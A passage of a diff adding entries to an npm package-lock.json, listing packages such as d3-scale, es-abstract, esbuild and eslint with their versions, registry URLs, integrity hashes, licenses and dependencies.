"sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/inspect-js" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/debug": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz", + "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", + "license": "MIT" + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", + "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==", + "license": "Apache-2.0", + "bin": { + "detect-libc": "bin/detect-libc.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==", + "license": "MIT" + }, + "node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.401", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.401.tgz", + "integrity": "sha512-H6ViHN68nGYlChEvlIU67fn8O2/tpbWQPwck98yaJmh+08LSvHiydzDQ6oXNccLU3kNRVIRS9A4mA7CG+i6fLQ==", + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/enhanced-resolve": { + "version": "5.18.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.1.tgz", + "integrity": "sha512-ZSW3ma5GkcQBIpwZTSRAI8N71Uuwgs93IezB7mf7R60tC8ZbJideoDNKjHn2O9KIlx6rkGTTEk1xUCK2E1Y2Yg==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/es-abstract": { + "version": "1.23.9", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.23.9.tgz", + "integrity": "sha512-py07lI0wjxAC/DcfK1S6G7iANonniZwTISvdPzk9hzeH0IZIshbuuFxLIU96OyF89Yb9hiqWn8M/bY83KY5vzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.0", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-regex": "^1.2.1", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.0", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.3", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.18" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz", + "integrity": "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-set-tostringtag": "^2.0.3", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.6", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "iterator.prototype": "^1.1.4", + "safe-array-concat": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", + "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-toolkit": { + "version": "1.50.0", + "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.50.0.tgz", + "integrity": "sha512-OyZKhUVvEep9ITEiwHn8GKnMRQIVqoSIX7WnRbkWgJkllCujilqP2rD0u979tkl8wqyc8ICwlc1UBVv/Sl1G6w==", + "license": "MIT", + "workspaces": [ + "docs", + "benchmarks", + "tests/types" + ] + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "9.39.5", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", + "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.2", + "@eslint/config-helpers": "^0.4.2", + "@eslint/core": "^0.17.0", + "@eslint/eslintrc": "^3.3.6", + "@eslint/js": "9.39.5", + "@eslint/plugin-kit": "^0.4.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.5", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-config-prettier": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.0.1.tgz", + "integrity": "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw==", + "dev": true, + "license": "MIT", + "bin": { + "eslint-config-prettier": "build/bin/cli.js" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.37.4", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.4.tgz", + "integrity": "sha512-BGP0jRmfYyvOyvMoRX/uoUeW+GqNj9y16bPQzqAHf3AYII/tDs+jMN0dBVkl88/OZwNGwrVFxE7riHsXVfy/LQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.8", + "array.prototype.findlast": "^1.2.5", + "array.prototype.flatmap": "^1.3.3", + "array.prototype.tosorted": "^1.1.4", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.2.1", + "estraverse": "^5.3.0", + "hasown": "^2.0.2", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.8", + "object.fromentries": "^2.0.8", + "object.values": "^1.2.1", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.5", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.12", + "string.prototype.repeat": "^1.0.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.1.0.tgz", + "integrity": "sha512-mpJRtPgHN2tNAvZ35AMfqeB3Xqeo273QxrHJsbBEPWODRM4r0yB6jfoROqKEYrOn27UtRPpcpHc2UqyBSuUNTw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "license": "MIT" + }, + "node_modules/exifr": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/exifr/-/exifr-7.1.3.tgz", + "integrity": "sha512-g/aje2noHivrRSLbAUtBPWFbxKdKhgj/xr1vATDdUXPOFYJlQ62Ft0oy+72V6XLIpDJfHs6gXLbBLAolqOXYRw==", + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": 